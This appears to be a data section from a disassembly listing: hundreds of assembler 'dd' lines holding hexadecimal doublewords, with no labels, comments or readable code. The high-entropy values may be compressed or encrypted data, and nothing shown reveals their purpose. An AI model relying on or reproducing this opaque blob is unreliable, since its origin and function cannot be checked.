		dd 5A0ECA9Ch, 0F6035080h, 0D1CD7213h, 8AB08897h, 0DD00038h
		dd 7B3BAD11h, 4802B8B3h, 7574E162h, 0EF1BE07Eh,	4CAB00FAh
		dd 3CB560B9h, 0EE03BA48h, 0A161BEEAh, 0F401E037h, 0D595384Dh
		dd 4B27A300h, 0E31B0443h, 34C0284Ah, 4C20A859h,	9280CCB9h
		dd 1E8F2C5Fh, 5254A702h, 8FA0DA05h, 0E9C3A399h,	0B6DB8FCh
		dd 0D92A04CAh, 0C7E47AAAh, 34D8B1C4h, 0C3347C1Dh, 0CDB1BFh
		dd 0C0221311h, 0E9B507E2h, 19ACF530h, 0FE34BDFh, 0A3712E55h
		dd 0F2728EC0h, 27FE4461h, 0BEDEC800h, 0E40C6DB8h, 16FFECA0h
		dd 3BB9D95h, 0F8940B40h, 5A11F0C0h, 0E356D700h,	0FFAEA718h
		dd 47CF4A8Fh, 3036B5A4h, 735B5D8Dh, 0D3D82E1Fh,	55AC049h
		dd 0D4E24274h, 3C05FF4Ch, 0C0FB0BA0h, 8923AE10h, 0F8A053FAh
		dd 0E1F2FCE6h, 58C1F902h, 0D0CA81C9h, 0DBDF0064h, 6DAB938Bh
		dd 0F2B03994h, 0B15E490Bh, 0CDAC8031h, 0E09FCF27h, 0B336007Fh
		dd 1E8068B5h, 3E05C62Dh, 2CDB8C77h, 0BF3188D0h,	85EF03A9h
		dd 1A9AAEF8h, 2B838BA0h, 0DE825203h, 99CC6195h,	0D9D86B13h
		dd 0A1E247h, 0FC23D6A2h, 535685CEh, 0AECD9C00h,	0BC7BC035h
		dd 1E8BF6F9h, 0AE94CCA5h, 0D09B0038h, 4AB7A989h, 8478A11Eh
		dd 750999C3h, 546100BDh, 4C18072Dh, 0EF052053h,	0CD8CB315h
		dd 0B0229890h, 252187Dh, 8D14F88Ah, 0B1CEE000h,	0C4BD5F81h
		dd 0A2610785h, 336F4B0h, 2EE948F5h, 867FC03h, 0C0A83507h
		dd 0B8D407E1h, 4283C080h, 7EB62795h, 960016F0h,	0D4B93330h
		dd 9C47F4h, 8AE50573h
		dd 0FC371BB4h, 46FE3C72h, 148F8000h, 5C18204Bh,	993100FAh
		dd 3DAB67A7h, 0B1023E6Ch, 0B7425950h, 707AB4h, 56E1D319h
		dd 0A0E5E820h, 803F9C3Bh, 7BC9414h, 80C06Dh, 0B1890609h
		dd 20FAA92Ah, 2123AD00h, 0ECB39AE6h, 14AF498h, 0FC631F30h
		dd 8065964Bh, 5E41D928h, 123D3CB4h, 791706h, 6F76129Bh
		dd 0F00D69Dh, 0D2501490h, 4C1642Ch, 0A1CA2E5Bh,	0DF50A4EBh
		dd 0AC80E14Ah, 49BAA566h, 0B100C0E0h, 0B0D8C59Fh, 0B27CBFFDh
		dd 1373E900h, 559A028Dh, 0EE10001Dh, 0C43FE193h, 0DF0BD7EDh
		dd 60632DCEh, 99B512Ch,	4145598Fh, 0C07C778Fh, 47552A2h
		dd 0E73A84AEh, 0EEE846Dh, 5BC02A4Fh, 48B8C7CDh,	0E000D40Ah
		dd 5746D8D4h, 0E61FA65Ch, 0C700D9F6h, 6EE46779h, 64B002Ch
		dd 93AB964Eh, 0DFFA4F71h, 0FCFB4502h, 74D76927h, 0E17F4044h
		dd 5D07EF2Ah, 843CEC19h, 7ACCCB60h, 29A50053h, 96B8A0CFh
		dd 940087D9h, 74899281h, 18CED2Fh, 0A39B5A76h, 7065A4DAh
		dd 0AB1766D9h, 32075FE2h, 3BC0EBD7h, 92E5630h, 0C44E52D6h
		dd 0FD42AC20h, 3C9A8DF6h, 0CAE2D402h, 40CD60E6h, 121DB69Ch
		dd 808652D3h, 7D04E01Ch, 0A7667F1Dh, 78C72856h,	0C2627460h
		dd 9704F58h, 0F8E6B11Ch, 14F7744h, 0C32030FEh, 0C837AD25h
		dd 9A0BEC96h, 403694DAh, 7EE0548h, 54D45E2Bh, 3C91E020h
		dd 80C0E52Dh, 0F3349BDEh, 3CB5F6B2h, 4F3C87D2h,	29D8380h
		dd 219A170Ah, 807DCC3Dh, 0F4A813B1h, 0C08C5A2Dh, 95929F18h
		dd 930340A6h, 0EEC1FF7Ah, 0C02AF2C6h, 463360h, 25E6E779h
		dd 0B85CFC06h, 69DD8400h, 2390F9CEh, 7C520340h,	0C1ACD1B9h
		dd 0A4AFFBC0h, 80140D3Bh, 3B607182h, 1D404C01h,	1363D7Bh
		dd 0F85502CEh, 0E49C80FDh, 0C78CD451h, 6A60E11h, 41637673h
		dd 18F643EAh, 323DFA00h, 9E132155h, 0B8D11FC1h,	18164002h
		dd 0A1823536h, 7B007F76h, 79412258h, 86BB77h, 0C0C8CF2Dh
		dd 66AFE151h, 601397F6h, 0A71DD889h, 2B13DA80h,	7BC353BDh
		dd 19010F81h, 7130DC5h,	0A097AE01h, 1E28F10Bh, 0E7E0B301h
		dd 0AA32FD67h, 0C7BB1FC0h, 2C1ABD28h, 9D1DC1CCh, 0ED00B276h
		dd 2C66E421h, 74970FA5h, 0EF20CAD7h, 8DBEAB41h,	42D89205h
		dd 8C4065B3h, 3E1B49C6h, 2878EED5h, 0FCC1C93h, 0FF38E423h
		dd 0AF324600h, 3F00453Bh, 4AD63AB6h, 3914351Ch,	3C007F33h
		dd 0E93ED334h, 0B70FE1DEh, 14F3F0E7h, 0F70A00B4h, 9306C7EFh
		dd 0A3982C64h, 8B2901AAh, 0C04DF65Ch, 7D137937h, 2C1F7BFFh
		dd 0A020C90Fh, 0D59BFD99h, 71EC1DBh, 0E8DE595Eh, 390E809h
		dd 0DF9C960Eh, 27B74951h, 0A0CF3A30h, 1B827163h, 0B2F4A04Dh
		dd 0F2450005h, 0AAC82993h, 0BCF4FD91h, 1A51B407h, 49B399A2h
		dd 0E0FF8B83h, 7BC6B6h,	0DF0C9C15h, 0C5841878h,	5E7CB400h
		dd 38773051h, 0A21903ACh, 61C4B10Bh, 807F95B9h,	0EFD40281h
		dd 0D0F3EDh, 0A940A2CFh, 0DBFA38D5h, 0CC1DB70Fh, 16F1A078h
		dd 813A5Dh, 33F4A736h, 8738A276h, 0E78EC400h, 75516BDBh
		dd 10ED6073h, 9109D9C8h, 0C382C602h, 805663B5h,	77254CACh
		dd 0F9450AB4h, 9CDE15h,	31A91EA8h, 660261B8h, 559C805Bh
		dd 0C41440AEh, 6C2400E0h, 0A07E408Bh, 4B48FE2Bh, 0DCA70198h
		dd 0A1A89345h, 10A3CC01h, 0F3903E7h, 675116FAh,	965686E1h
		dd 2B4DC014h, 0C76B2500h, 0BE0BD7C0h, 4E041C01h, 73C6800Dh
		dd 9D1697E4h, 81F42A06h, 778375Eh, 62EE3932h, 8189091h
		dd 842C3F2Dh, 7F133F8Fh, 0BD1E6A00h, 0BF447Ah, 764C66F6h
		dd 4DFB746Eh, 0BAEDBC00h, 0B4DE7982h, 0AFF701A6h, 0F1B0B94Fh
		dd 2D4DE03Eh, 0A906E0Fh, 0EC07F30Eh, 0DAF359DFh, 6246D0E1h
		dd 0D6A901E8h, 0E3B981BEh, 4137E424h, 31001EE0h, 0E89921C9h
		dd 0EAFAB6h, 0CAAEAFC1h, 80635C90h, 0A2418600h,	9B7DAD60h
		dd 1096000Fh, 8324D18Fh, 9C0146F0h, 0C5283B63h,	0D0C3A8B6h
		dd 1C6EAC56h, 4053EFD2h, 2FDC2AFBh, 0CE282663h,	7F07E045h
		dd 0D69447F3h, 0A1BD5C10h, 0DE890E35h, 9C01281h, 234EA96Eh
		dd 251F4C00h, 426DE576h, 0C9D120Bh, 357D005Ah, 0DABEB181h
		dd 0FD68E70Eh, 0CFB300B8h, 397CD92Ch, 0DD803351h, 0D1976270h
		dd 76017EB1h, 0E3A92287h, 80335731h, 7C7374h, 4D215C7h
		dd 0C57DA5EBh, 16E74300h, 0C19FA387h, 1B6807BDh, 0C134149Eh
		dd 0F8293E02h, 6D24BB90h, 1700243Ch, 0FD6198CDh, 2271713Dh
		dd 20FB9AFCh, 10007E84h, 11FA948Ah, 1DEF26A3h, 92248584h
		dd 40E31E59h, 0F8D8E335h, 203D13A6h, 3FAC48FBh,	71290079h
		dd 34D7DC53h, 0F577F9h,	24C66594h, 0BBD0C98Ch, 86B6A700h
		dd 6A6005D1h, 0C1C0F978h, 987F1E74h, 0E6D998EFh, 5B0032CAh
		dd 0ACBB7817h, 0E06A02h, 8BF7299Bh, 326BE9C7h, 49B8C100h
		dd 5E249DD7h, 0C46D483Eh, 37F4B200h, 1802D566h,	3B336E07h
		dd 41102715h, 2B8BF80h,	0F04F06A9h, 3FC0B5D4h, 0F40ED8EAh
		dd 0E18A2836h, 3E3948F1h, 6C7420h, 2BDE3B8Ch, 8364DC59h
		dd 0ED940450h, 0E413Bh,	71C17A25h, 7C70936h, 7CDE6012h
		dd 0BDB4B035h, 2E0031D3h, 6394AE29h, 76673FDAh,	901B0050h
		dd 0AD80FEFAh, 431C6A2Ah, 6B80798Ch, 0DAF6F0BAh, 78F4013Ah
		dd 0FC3CADFBh, 0A9E42013h, 2E00CE77h, 0DC34D022h, 1651F206h
		dd 404A6D3Ah, 740EBC04h, 84B0D8D3h, 43C442Ch, 0DC9D2004h
		dd 887E4CC3h, 0BF06D7h,	1A9F09A4h, 6EEBB959h, 0D0700B28h
		dd 9B1C1207h, 0E49471A7h, 7557A881h, 9D8020h, 0C4C11392h
		dd 0B0C634CEh, 0FDD7B301h, 0FFB7BE18h, 0E9E6260h, 73F33F11h
		dd 80A9A061h, 0C327E4F1h, 5F04D900h, 0DA0A6228h, 2B5926D2h
		dd 825C80FCh, 35F3AE89h, 20072AB0h, 3D2C47D8h, 6CCBB260h
		dd 71550019h, 0A66BB27h, 8400BE38h, 0EC160167h,	0E36D57h
		dd 0C91CE18Fh, 68F260BDh, 83EA7816h, 4989E200h,	7CEF3B46h
		dd 0FCD4132Bh, 0CBC01FE9h, 288214FDh, 3510EE2Ch, 3DE6ACh
		dd 0D459CC5Eh, 0B7C2CAD8h, 809DDE38h, 7F53F312h, 0F6E99872h
		dd 0EAD20068h, 66C7EDAAh, 41EEB07h, 0AE0084E6h,	0B551CE50h
		dd 5F9C2694h, 0F6700084h, 99D8486Eh, 90224C00h,	3BCE3342h
		dd 388C0065h, 0DDB59C10h, 8400FE24h, 0EBE929AEh, 2C52A319h
		dd 3A78C7EAh, 8F9B00FAh, 0CAE30B2Dh, 30B7987h, 3CFA143h
		dd 0B04E4034h, 43F3BE0h, 0DEA32A49h, 0F02FC6ABh, 11DF5400h
		dd 0C4BC8C6Bh, 25A900CCh, 6CA2964h, 0EC0289F1h,	0FFDFA55Ch
		dd 5E1C4837h, 588C027Fh, 4BD551EFh, 5F01D880h, 0E8FD5427h
		dd 0F50E32BDh, 540917C7h, 0EDC900E8h, 61B5F02Fh, 803C5951h
		dd 0D596C100h, 2EDA3BCAh, 3C33BE3Ah, 7D628045h,	4E274BD9h
		dd 43130060h, 94B4DB97h, 2F079DB7h, 0A003FAC1h,	0B6F54290h
		dd 563A0C7Bh, 0B5693C59h, 0A3098101h, 0B839DA4Bh, 3FD22080h
		dd 9156675Ch, 0C3A93B00h, 0B5938D07h, 23601AFh,	42290A27h
		dd 7E7FDCD7h, 0BCD0973Bh, 0FD4900E2h, 7DAF816h,	3BC0F603h
		dd 0FC275Ah, 6EF5BDB7h,	1BD2403Dh, 7EE6B902h, 73016CAh
		dd 0C9885BF0h, 46CF0090h, 17D8BD82h, 9EFE30DDh,	0B61D0680h
		dd 0EA0CDC3h, 0CAA1E738h, 4087475Bh, 838AFE45h,	4A808176h
		dd 502055C1h, 33010916h, 0D0A037BCh, 2E5270B7h,	54D73B0Ah
		dd 8998B03Fh, 49164009h, 7D0CAC01h, 0F25172BAh,	60D28306h
		dd 0E8DE07h, 0CC8CDB7h,	7BD6403Ah, 61419E30h, 0F638188h
		dd 3E554824h, 9CC00F0h
		dd 9AD0FFE3h, 60A2E693h, 0C2B99881h, 327242EDh,	73607E66h
		dd 98280071h, 6EF7A2AFh, 63007F4Ch, 0A9B4D68Ah,	7E1596h
		dd 0E9CFF14Ah, 0FDED98B5h, 9E91A500h, 11CA937h,	66BA009Ch
		dd 0E55102A2h, 0AF01AB38h, 0CC42D59Fh, 2BD4F75Bh, 0F7DFE11h
		dd 0D4F35299h, 86EF7AAFh, 3E19DC40h, 0EE3850FFh, 37C280DFh
		dd 356E554Fh, 0EF6A008Fh, 0CDB8F505h, 0C004D2Fh, 3440DA41h
		dd 0EBB35EBh, 7291AE39h, 0F54499E0h, 37C6138h, 784E13Dh
		dd 0A8831E60h, 3A18C5B0h, 732900FFh, 2E70052Dh,	0B105DC40h
		dd 3B539139h, 9E14C844h, 0AC3A8CC0h, 0E0610078h, 0AE7B846Ch
		dd 0ED057E16h, 0DF2794C6h, 0BAFFE403h, 0F89E18Ch, 64B6118Ch
		dd 3E549849h, 0E800E2D0h, 35829ABDh, 0FEA3DEA9h, 0E84FAB8h
		dd 20B21B95h, 400073AEh, 5330C52Fh, 55A45102h, 817D9243h
		dd 3FDC57ECh, 80345401h, 0FFAC1861h, 3192B89h, 2D985538h
		dd 0C1C89273h, 36000809h, 2A608479h, 38063E7Ah,	0CC8FCB30h
		dd 0A7234A7Ch, 7BF0435Ch, 0B50F97C6h, 0A0723FBCh, 0E12CBEC3h
		dd 0D4B82433h, 0CFB78050h, 0D69CBCECh, 9ECD3200h, 7693BF4Bh
		dd 0D8D12402h, 0C2A030h, 2E38FE3Ch, 4A1E6C23h, 0A6A5E900h
		dd 0AF6501DFh, 0AA432CCEh, 8034009Dh, 0F4926676h, 8C89383Bh
		dd 412F4807h, 3F950016h, 359C1E70h, 5A1D7585h, 0A2004809h
		dd 0E7FC33B8h, 0C2AE3F26h, 7DDE368Eh, 0D3B030E0h, 8D0048A5h
		dd 0A7ECF434h, 7EE1A8h,	161A6A72h, 0BAE8254h, 0E88F7B00h
		dd 9438B088h, 6C371D77h, 0EA7D7F11h, 502D07F2h,	203214BBh
		dd 0D9B356FDh, 7AC53000h, 0E4F5AE0Eh, 0FE39029Ch, 0FDDEED69h
		dd 683FBDE0h, 0C0CF5574h, 0D16CE01Ch, 7F431Fh, 28764A90h
		dd 0E9CEEF8Fh, 0D99C3400h, 7E39F3DAh, 0F9431C9Bh, 555B0088h
		dd 51BBC981h, 26DB3400h, 0AFD4B44Ch, 0E1830F42h, 0D78FA3EDh
		dd 5DEFF180h, 180188F4h, 6CB1ACDAh, 188FB273h, 40FD4714h
		dd 0AEB07BF2h, 0F4EDD25Fh, 297BC6E0h, 0E4002DE8h, 0EB60CFCh
		dd 0C89738A2h, 20B6D340h, 25060630h, 11DDC03Bh,	124048h
		dd 0E926A30h, 0CDBA5DF9h, 3021E308h, 2900B5B5h,	6118FB4Bh
		dd 0D5BCEh, 0EB8E6321h,	9868D2E6h, 14E8807h, 9783D428h
		dd 8891588Ah, 3563AC00h, 0EB60D620h, 5FA6781Dh,	2F21FF18h
		dd 2C580A3h, 3BB24D03h,	805225B0h, 1C8E5C1h, 0DA4ED2E7h
		dd 0B224CB7Ch, 3038C0C8h, 4311B590h, 0EC888A6Ah, 0B5969280h
		dd 3D74046Bh, 3D80E586h, 51599B15h, 9FE5BDD4h, 0BA809329h
		dd 0C3CD3354h, 0C02B736Ch, 0F272AA70h, 4A30631Eh, 0B27CF0FDh
		dd 7AD10CF4h, 361CFA2Dh, 0A6001872h, 4EA2CF51h,	3DA10Eh
		dd 47F5AD78h, 883B77CBh, 0B5B08000h, 48E36BD7h,	71EE003Eh
		dd 0CAD1A2F7h, 2800EFFCh, 0CB1ADD21h, 1C246D5Eh, 408A1B86h
		dd 0B61E0344h, 0D63D1FBDh, 0C97A80BCh, 112C58D4h, 483800B1h
		dd 0C27D8A21h, 790120FAh, 0A90DC485h, 0C8CBF34Eh, 9CEDA8h
		dd 0F73DE456h, 0FC949D9h, 37342307h, 4660FB40h,	748162F2h
		dd 47F71E7Ah, 71AF004Fh, 741F3F65h, 0CBF9BC00h,	0B11D79A7h
		dd 69A80070h, 9EC1BAE7h, 2103BE2Bh, 73B38E46h, 5B191831h
		dd 23E308DCh, 0F6EF5003h, 0B0624642h, 0E11D8Bh,	0CD95A56Ch
		dd 0A8BAE6E3h, 4241700h, 0FF1950C2h, 5BAD0064h,	216AC469h
		dd 0F5308D3Dh, 4BAE5082h, 672C3E2Dh, 0BC06CF3Dh, 1025D153h
		dd 37242F06h, 1778B8C0h, 0BE7813E6h, 0A75EE000h, 0B05DBFBAh
		dd 0A19E174Bh, 0AD60064h, 57958CEAh, 0C32D89C0h, 2013C7h
		dd 52BEF877h, 0FF5B6164h, 3D32A309h, 947587F6h,	355DADA1h
		dd 91A07080h, 0C0E1E24Bh, 5E9A5200h, 9355FA3Dh,	649C01EAh
		dd 54832F60h, 71B2F0C2h, 9E0319C0h, 0E4B0EFAAh,	69CA0EACh
		dd 0FF803D88h, 0E2C5A34Ah, 52E8B190h, 5048EA1Dh, 0CEC889C7h
		dd 0ED2AF180h, 3E74F88Dh, 448017DAh, 0DE653D58h, 0E270D7CEh
		dd 671A5F3Eh, 1EC014B6h, 0D84C1908h, 0D0D71020h, 4205A500h
		dd 44F4C8B3h, 527C31F8h, 0FCD2EF20h, 63031843h,	0D67DC65h
		dd 38CEDAh, 7CD393B7h, 0A138AF44h, 8175C33h, 9E2100B1h
		dd 0FF1CD3E7h, 7B7EE060h, 0F6483F60h, 0CE67B157h, 7185AA60h
		dd 34440024h, 8DA91A3Bh, 0DCBB9306h, 6008A3A5h,	36662110h
		dd 6800311Ah, 0F42E9F40h, 306BB3C3h, 0EFA0DAB1h, 0A1509072h
		dd 9B004284h, 0AED213FBh, 0E979ACh, 0EC8962Ah, 9FBD3AD7h
		dd 0CDAAF700h, 73135783h, 0E876F4h, 0CE726A3Ch,	0F11828B3h
		dd 9C1D0500h, 2B5E7866h, 68C0091h, 0EB24AF23h, 0FF7EF5DDh
		dd 37CDF900h, 2593299Dh, 0CF5B00D5h, 35F0EEA8h,	7900ADE4h
		dd 27507433h, 59377FAh,	0B8FFEDEBh, 7B32C080h, 8A00487Fh
		dd 2CE2825Dh, 0FA490B62h, 8C3B0324h, 7B6ED5DDh,	3350EEC8h
		dd 5E8BFA00h, 196AAB5Ch, 464706Dh, 58136893h, 846BC045h
		dd 0BF3A1A1Eh, 0EEE700D1h, 631C6D5h, 3E400FCh, 427CD613h
		dd 0EB3A5208h, 0BA39805Eh, 77D1806Ch, 5CEF007Bh, 0D8A165A2h
		dd 96603246h, 0C87D2240h, 0CD08C39Fh, 10001301h, 0F19790B7h
		dd 0C5BD54h, 952F68FEh,	7AC1B562h, 2503CD71h, 15B7CB27h
		dd 3929219Ch, 88B6ED08h, 0D79F24A9h, 0DF08FF22h, 0CE75B344h
		dd 7600DC51h, 0DA984B97h, 2A672E00h, 4A05A940h,	53CA001Dh
		dd 5884A7C5h, 0F895913Bh, 987A0B1Ch, 0F1816019h, 70681DE6h
		dd 0C70086DBh, 319AB8F5h, 0C002DCh, 77A46773h, 0FEAAE579h
		dd 16F95E60h, 6C54CCh, 0D5B91295h, 317C4F33h, 0E2392300h
		dd 0D9AE56EAh, 15370067h, 5EBB0ED2h, 0A2009CC6h, 0EC34C383h
		dd 79DDEB2h, 28373B50h,	5115C0FAh, 0EE007EC6h, 8747A5E2h
		dd 359DCBh, 0C0D5A40Dh,	77664AC2h, 0EABF5300h, 0AC6DE0Ch
		dd 0C4815078h, 0D2913CA4h, 0D68B8880h, 0ECEB8C9Ch, 39EF1500h
		dd 796D35CEh, 672600CFh, 0B8B75C82h, 6300EE09h,	0E38EF3F4h
		dd 0F04ADEFDh, 0AA5500E7h, 15084D0Bh, 8C753EB8h, 2DA8E000h
		dd 6169D49Bh, 4264056Fh, 0C09DFC80h, 2EAA347Eh,	0C349E200h
		dd 0D6B1038Dh, 71A2004Eh, 0C8901AA4h, 6100FC02h, 0E28C8912h
		dd 14B2D8C5h, 0A879DB48h, 0D2EBF402h, 76405C5Ah, 0AC00EE26h
		dd 875914ECh, 39E208h, 0D0EBC77Dh, 409AB1F7h, 0F9002698h
		dd 0F48B31Eh, 1E0417E9h, 80F5B46Ch, 0D89668F1h,	1401A7F2h
		dd 7225139Ch, 0E820BA56h, 390E0074h, 7FD951EFh,	81389F0Bh
		dd 0D2A3806Ah, 5D33E5ECh, 0A54D0074h, 0F081B18h, 0CC0565C4h
		dd 0C94ADF34h, 9BFBE800h, 175F133h, 830FC776h, 0C07FA71Ah
		dd 57141703h, 1E574F7h,	46DFD5A1h, 0C8401A12h, 4BFC18h
		dd 9F0DBEFFh, 5D2A140Ah, 4F1B471Ch, 93640Bh, 9ECFD26Ch
		dd 66BC0027h, 8EC5B350h, 700FCB72h, 0C07D65A3h,	6D9A24DEh
		dd 92FC005Ch, 53223CB1h, 0B2E0CFE1h, 348D3801h,	542E4628h
		dd 212DA480h, 63B4999Bh, 0FCABC600h, 6EE2C3E8h,	7C6F0009h
		dd 8708D823h, 0BE79A814h, 18CAEF00h, 0B00CC40Bh, 16F5005Eh
		dd 0EBD8A665h, 0A2008447h, 2AF88868h, 4640C8h, 6763AA9Ch
		dd 0B1FCD478h, 3EBEE703h, 981B9F68h, 194175h, 0B02D6D8Ah
		dd 2B88B23Fh, 629C7B09h, 0A118076h, 0E95455h, 0C53D7ADh
		dd 0AC36E46Dh, 0C50E4178h, 60F95C76h, 9748EDAEh, 0E81000Fh
		dd 6B2E9362h, 18C0A1E7h, 0A51CFA0Dh, 7F410014h,	192006D6h
		dd 2900AF5Eh, 308E3D67h, 7FB2737Eh, 9F6A0146h, 0D3509C31h
		dd 2D90CCC4h, 780045F6h
		dd 53512C68h, 7BD7CBh, 5403AF56h, 0CCFC8771h, 0C853500h
		dd 1FCEA3E1h, 0B2240029h, 1B6766CAh, 351D5833h,	0EB40D0A1h
		dd 0BA1F483Fh, 3C7FAF9h, 7057F7AFh, 80AC50BDh, 4F225B85h
		dd 804EED3Bh, 95DE2065h, 0B8B1F4h, 0D8BA992h, 4796293Ch
		dd 4DD63700h, 0E25A8F06h, 15A1581Dh, 219A580Bh,	80383704h
		dd 0D1F07304h, 0A71C2A0Eh, 0B1E7006Ch, 4A4B9FD7h, 775D006Dh
		dd 0DF24513Dh, 5BE5D102h, 6036B619h, 9ADDC79Bh,	0EA400038h
		dd 78B83C5h, 480FEE3Ah,	41F81A88h, 135C6BB7h, 97BE70h
		dd 7AE9C10Dh, 35DCE787h, 92AC8B00h, 9B4CB5CDh, 0A3A90073h
		dd 0D6CB7EDBh, 2F5036F8h, 80C2AEBCh, 80F11CEDh,	610E26A8h
		dd 0E86B0393h, 0E7A86742h, 0D42F1800h, 35A5481Eh, 28840044h
		dd 0ADC5315Ah, 91027421h, 0C32BC9C0h, 1C05FF0h,	7E004EF4h
		dd 0A259E8B5h, 376A93Eh, 1A676CB4h, 68E05B1Bh, 97036A1h
		dd 0FFE638h, 55DA89F1h,	92E717h, 0DF4FB4Fh, 0B1DCAA95h
		dd 1E6A3Bh, 0E18E038Fh,	28EA12h, 8516E4CFh, 58E81DD1h
		dd 87DF703Bh, 19AB7A47h, 47C4BDE5h, 2E4FD800h, 0F227FE65h
		dd 591526FAh, 0D5900055h, 0F531BE26h, 0AB2BB300h, 2402080Bh
		dd 5814247Fh, 0F29E0054h, 6B7B3613h, 0D28F9400h, 0F8B71CE9h
		dd 7ED8A0BBh, 9BC30043h, 62CF59C7h, 5700DB41h, 0B9EDEA48h
		dd 7C504DFh, 4A5E347Fh,	18A4D085h, 681FA659h, 0B0C03CD6h
		dd 0E960D8E1h, 9B94044Eh, 80C8C546h, 42798180h,	0F42E5AF0h
		dd 3D042Ah, 7CE70534h, 489487Eh, 8B1929DDh, 3E4CC0B4h
		dd 35000828h, 36DE0791h, 1D410Fh, 0E773E281h, 0D314D485h
		dd 9D3E8E00h, 896E513Bh, 0F2F40324h, 0D4F88649h, 3AB058A8h
		dd 97FC2200h, 0BAC85950h, 8C76096Fh, 9E012C1Bh,	0E33D8D28h
		dd 0ED880390h, 0C7247900h, 858091DCh, 5F540006h, 0AF778FD0h
		dd 920015A9h, 5D2EE350h, 6C386Bh, 0DC7747Eh, 0DA48E7EEh
		dd 0A74EAA00h, 987BCABFh, 0C055169Fh, 2D5100E8h, 1642701Bh
		dd 3550B807h, 0B21752D1h, 91CA7FB0h, 3F449206h,	4B8783C3h
		dd 53D5C4FBh, 0B1B3A9B8h, 109B08F0h, 0B4967C00h, 27388286h
		dd 71FE1C5Ah, 0E916C331h, 0A9863D7h, 0E0388F4h,	360D4CC0h
		dd 13FDE985h, 4EEACE4h,	41577092h, 63DAC00Bh, 0B8004EF1h
		dd 47EF48E0h, 0E256C7h,	0A6365D24h, 4BE914DCh, 500D1EAh
		dd 4EE87C45h, 0CD708Eh,	5342C91Dh, 59FA877Fh, 3FF35C2Ch
		dd 2FFBC300h, 0C25F1Eh,	23AF349Eh, 8A9C4508h, 4D908F1Eh
		dd 0A1397C00h, 0F4E824A6h, 6C1700C4h, 5F3BF42Eh, 7A0019A5h
		dd 844102AFh, 0E628C2h,	0F251E839h, 66D486CBh, 4D009E71h
		dd 2A7E32C7h, 0A3DCD8h,	71E6F939h, 2C52A241h, 0B5008B7Ch
		dd 47CFDB16h, 4CDAA3h, 9F9ECEF0h, 0B6506760h, 30661400h
		dd 0F5B24684h, 4EFB00A7h, 0A4BC44CBh, 5900ED5Bh, 8D123FBDh
		dd 0D33187h, 620FCA3Bh,	6F949136h, 0A8823A3Bh, 0E700DC46h
		dd 7F779207h, 4CF0BEE8h, 5E008B9Ch, 3C8ACC3Dh, 0C11D5A50h
		dd 380A692h, 9D4DD1BCh,	0CAA90022h, 86CD56B3h, 2701EB0Fh
		dd 4A29FD9Ch, 0DC40E801h, 0EFB446Ah, 948545Dh, 1D312E5h
		dd 0AA6F4CA4h, 816C208Ah, 0EE3BD40Eh, 1795206Bh, 772BA31h
		dd 0F5C550B3h, 1B40FEB5h, 8F86207Bh, 4D406000h,	238BD802h
		dd 0F7410016h, 46368C29h, 6C00C250h, 0F6B08642h, 1CC9E0FAh
		dd 809A5931h, 0F7881432h, 721D0B63h, 0A1801ABDh, 9F79FF68h
		dd 105C3D4Eh, 3E00E3D8h, 90CB2B87h, 0D52C49A8h,	2880ECD6h
		dd 2C946616h, 0B82F0C7Bh, 0EC8046CBh, 0B8735F3Fh, 0DA51128Eh
		dd 6EAC7A00h, 8F1B57h, 0F1E56A07h, 0F5F9097Dh, 992C0100h
		dd 3B0EE2D5h, 30ABF4ECh, 96604BD6h, 2C74B1D7h, 2B0370C0h
		dd 0F14CE3Fh, 4A143B2h,	0E1A318D8h, 0A4506B02h,	80C6C4F0h
		dd 4BF8A918h, 0B3C30F1Dh, 0EDDCC43h, 2019D8CFh,	0E0C761CBh
		dd 0BE003870h, 0F1EC5020h, 0E7C348h, 8288A10Fh,	7D5C5118h
		dd 0B9731305h, 4C03D1ABh, 31C41CFh, 9AB23C49h, 3BD82F03h
		dd 6B0773BDh, 8235988Ah, 0A0AC5352h, 387A4C1Ch,	1D4A00CCh
		dd 5C5FE524h, 9F007B93h, 6D994EC5h, 0CFEF86h, 341559A7h
		dd 0EAA16F1Dh, 0FF3C2B79h, 0D16E8166h, 1E88E6F5h, 2483E1E0h
		dd 363017Ch, 0ED188EECh, 850EABC0h, 76D8D060h, 690AE6h
		dd 1B86DD6Bh, 309E8C01h, 0B8FBD900h, 6187C849h,	0BD440014h
		dd 79963205h, 0FA0E7FC3h, 0E02CEDCBh, 8F6D16D2h, 0D0340095h
		dd 17B707CEh, 4100358Dh, 67A99B3Bh, 0ABF330Fh, 222CF578h
		dd 90D083C0h, 0E0AF5397h, 9A9C0E87h, 7E74A202h,	8F856DFEh
		dd 738A6088h, 3CB2B541h, 0AD8030E2h, 0DDC4A878h, 48C005DCh
		dd 0D95115BAh, 450D0F38h, 0C429CAB0h, 5D00A956h, 0F17678E1h
		dd 9CC02477h, 83548E4Ch, 60ED820h, 0D9F49A46h, 0AE4C5F00h
		dd 0CD7B32F6h, 0EC040025h, 2C027CA6h, 28306376h, 31F0B938h
		dd 64B000D1h, 55D4912Dh, 900030E7h, 7C1EDA10h, 0FE1D9861h
		dd 8FD200ABh, 0F6AAB383h, 0FA00A8DBh, 554E58F8h, 60F0C1CDh
		dd 491F0967h, 0D207A1AEh, 3B2A22CEh, 23AAB1C0h,	6D0F0046h
		dd 158DA65Ch, 1A1C2784h, 18CC8AC2h, 3489179h, 81518576h
		dd 44D10BECh, 75E98395h, 335131Ah, 243F8A29h, 111C0B2Ch
		dd 1F8098F7h, 0CD0DA631h, 4CB614D5h, 4700BC4Dh,	4FCFF890h
		dd 0B80FABD1h, 512BE7h,	0F67E754Ah, 4B4D0189h, 0FBD41DAAh
		dd 0F4606062h, 0F8A10B01h, 0D2C57C0Ch, 44A7DE1h, 0EBCCF3E7h
		dd 745A1000h, 0FAE4F6E7h, 0E8F01D8Eh, 0CCE80F5h, 3AD27FEDh
		dd 0C54BE203h, 222D0259h, 0E90FB229h, 0A0EBD3AEh, 665BA032h
		dd 3841008Ch, 986876FFh, 5900F419h, 4963AD6Eh, 49C50h
		dd 0BC34C2D6h, 0DD8F6978h, 0D4009873h, 2B93231Eh, 0BBB07Bh
		dd 7570DCFFh, 0B8667102h, 23CFE301h, 0E7F18A34h, 70332E0h
		dd 0DBF8D8D7h, 1F9AD013h, 0A8A038BBh, 0F03C9CC8h, 7C58127h
		dd 1AA77E24h, 97C422FDh, 8A42051Dh, 0C76A0590h,	8D232139h
		dd 11108038h, 0C8FE75Dh, 25CA003Fh, 18C11928h, 8E0031ACh
		dd 0D6A3C2BBh, 244EE598h, 0FE09ADh, 503F4136h, 0E72A0615h
